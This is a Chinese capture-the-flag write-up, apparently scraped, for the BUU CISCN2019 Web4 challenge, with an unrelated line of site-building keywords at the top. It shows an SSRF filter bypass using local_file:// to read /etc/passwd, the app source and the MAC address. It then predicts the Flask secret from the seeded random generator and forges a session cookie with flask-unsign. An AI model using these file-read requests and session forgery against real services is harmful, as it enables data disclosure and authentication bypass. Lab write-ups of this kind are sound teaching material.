昆明企业网站制作公司,佛山美容网站建设,小学网站asp,世界青田网appBUU [CISCN2019 华东南赛区]Web4
题目描述#xff1a;Click to launch instance.
开题#xff1a; 点击链接#xff0c;有点像SSRF 使用local_file://协议读到本地文件#xff0c;无法使用file://协议读取#xff0c;有过滤。 local_file://协议#xff1a; local_file…BUU [CISCN2019 华东南赛区]Web4
题目描述Click to launch instance.
开题 点击链接有点像SSRF 使用local_file://协议读到本地文件无法使用file://协议读取有过滤。 local_file://协议 local_file://与file://类似常用于绕过可以直接读取本地文件内容 此外不加协议直接通过文件名读取文件也行。
/read?url/etc/passwd读取后端源码
/read?url/app/app.py源码如下
import re, random, uuid, urllib
from flask import Flask, session, requestapp Flask(__name__)
random.seed(uuid.getnode())
app.config[SECRET_KEY] str(random.random()*233)
app.debug Trueapp.route(/)
def index():session[username] www-datareturn Hello World! a href/read?urlhttps://baidu.comRead somethings/aapp.route(/read)
def read():try:url request.args.get(url)m re.findall(^file.*, url, re.IGNORECASE)n re.findall(flag, url, re.IGNORECASE)if m or n:return No Hackres urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return no responseapp.route(/flag)
def flag():if session and session[username] fuck:return open(/flag.txt).read()else:return Access deniedif __name____main__:app.run(debugTrue,host0.0.0.0)注意print语句print str(ex)可以看出后端是python2。
/flag路由验证了session若session中的username是fuck则返回flag。
session的密钥由random决定random的seed是uuid.getnode()。
random.seed(uuid.getnode())
app.config[SECRET_KEY] str(random.random()*233)对于伪随机数如果seed是固定的生成的随机数是可以预测的也就是顺序固定的所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
Mac地址存贮在/sys/class/net/eth0/address
/read?urllocal_file:///sys/class/net/eth0/address得到Mac地址为2e:44:62:0d:63:0a。 根据seed预测伪随机数得到key脚本python2跑
import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))得到key是73.2021768198不同人不一样。
我们使用flask-unsign工具来伪造session。
解密session
flask-unsign --decode --cookie eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE加密session
flask-unsign --sign --cookie {username: bfuck} --secret 73.2021768198 --no-literal-eval得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc 访问/flag路由得到flag